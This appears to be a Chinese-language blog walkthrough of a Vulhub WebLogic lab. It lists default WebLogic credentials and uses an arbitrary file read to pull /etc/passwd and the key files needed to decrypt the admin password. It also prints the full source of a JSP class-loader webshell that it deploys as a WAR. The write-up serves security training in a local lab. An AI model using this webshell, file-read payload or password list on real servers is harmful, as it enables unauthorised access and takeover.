目录
1.搭建vulhub靶场,因为weblogic基于vulhub靶场环境
1.搭建vulhub靶场,因为weblogic基于vulhub靶场环境
我自己搜了不少博客,结果总在最后git clone的时候出问题,最后找到了下面这篇文章:
kali下搭建Vulhub靶场(详细附图)_ulhub靶场搭建_看我的眼色行事的博客-csdn博客-CSDN博客
2.启动靶场
cd /root/vulhub/weblogic/weak_password #到靶场目录下cat
ls #查看文件
more README.md #该文件包含了靶场的相关信息,如何访问,漏洞复现等
systemctl start docker #启动容器
docker-compose up -d #在此目录下启动靶场,等待
3.进入靶场进行复现
弱口令
该网站下面存在弱口令命令:
用户名:weblogic; 密码:Oracle@123
weblogic常见弱口令:
用户名 密码
system --password
weblogic --weblogic
admin --security
joe --password
mary --password
system --security
wlcsystem --wlcsystem
此处如果不存在弱口令,我们又该如何登录?
任意文件读取
本环境前台模拟了一个任意文件下载漏洞,访问`http://your-ip:7001/hello/file.jsp?path=/etc/passwd`可见成功读取passwd文件。那么,该漏洞如何利用?
###我们使用该漏洞读取后台用户的密文和密钥文件###
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为`SerializedSystemIni.dat`和`config.xml`,在本环境中为`./security/SerializedSystemIni.dat`和`./config/config.xml`(基于当前目录`/root/Oracle/Middleware/user_projects/domains/base_domain`)。
访问,浏览器会自动下载该文件,或者也可以使用burpsuite的repeater模块,但是因为`SerializedSystemIni.dat`是一个二进制文件,所以选中乱码,copy to file 到以该命名的文件名下,进行查看
然后再访问密钥文件
找到特定标签,‘manager-password’,上述即为加密后的管理员密码
解密密文:然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文
与之前的弱口令一致
后台文件上传getshell
登录后,点击install
然后uplaod your file
因为只允许war文件,所以上传666.war,如何生成?先创建666.jsp,写入jsp的一句话木马,在解压为zip,在更名为666.war即可,一句话木马如下,密码为passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
然后就一直next,直到finish
然后访问ip:7001/666/x.jsp,蚁剑连接即可
复现成功!
4.关闭靶场
回到之前的目录下关闭靶场!
docker-compose down